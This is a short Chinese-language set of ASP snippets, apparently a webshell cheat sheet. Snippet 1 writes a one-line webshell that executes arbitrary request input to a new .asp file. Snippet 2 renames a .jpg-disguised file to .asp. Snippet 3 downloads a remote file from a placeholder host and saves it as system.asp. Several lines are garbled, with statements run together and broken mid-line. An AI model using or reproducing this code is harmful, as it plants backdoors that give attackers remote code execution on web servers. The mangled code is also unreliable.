ASP FSO

1.FSO生成一句话代码


<%
Dim Content,Fso,Fout
Set Fso=Server.CreateObject("Scripting.FileSystemObject")
Set Fout=Fso.CreateTextFile(Server.Mappath("../123.asp")) 
Fout.WriteLine"<script language=VBScript runat=server>"
if request(chr(35))<>"""" 
then
Fout.WriteLine"response.clear" 
Fout.WriteLine"ExecuteGlobal request(chr(35))" 
Fout.WriteLine"end if" 
Fout.WriteLine"</script>" 
Fout.Write Content 
Fout.CloseSet 
Fout=NothingSet 
Fso=Nothing
%>




2.FSO复制文件代码


<% 
TempSource=Server.MapPath("/921196360.jpg") //源文件
TempEnd=Server.MapPath(folder&"../4040.asp") //目标文件
CopyFiles(TempSource,TempEnd)   
Function CopyFiles(TempSource,TempEnd)
Dim FSO 
Set FSO =Server.CreateObject("Scripting.FileSystemObject")
IF FSO.FileExists(TempEnd)
then
Response.Write"目标备份文件 <b>"& TempEnd &"</b> 
已存在，请先删除!"
Set FSO=Nothing 
Exit 
FunctionEndIF
IF FSO.FileExists(TempSource)
Then
ElseResponse.Write"要复制的源数据文件 <b>"&TempSource&"</b> 不存在!"
Set FSO=Nothing Exit 
FunctionEnd
If FSO.CopyFile 
TempSource,TempEnd Response.Write"已经成功复制文件 <b>"&TempSource&"</b> 到 <b>"&TempEnd&"</b>"
Set FSO =NothingEndFunction
%>




3、XMLHTTP 无FSO用到的下载文件代码


<%
Set xPost =CreateObject("Microsoft.XMLHTTP") 
xPost.Open"GET","http://www.xxxxx.com/921994421.jpg",False 
xPost.Send()
Set sGet =CreateObject("ADODB.Stream") sGet.Mode=3 
sGet.Type=1 
sGet.Open() 
sGet.Write(xPost.responseBody) 
sGet.SaveToFileServer.MapPath("../system.asp"),2
set sGet =nothing
set sPOST =nothingresponse.Write("下载成功！")
%>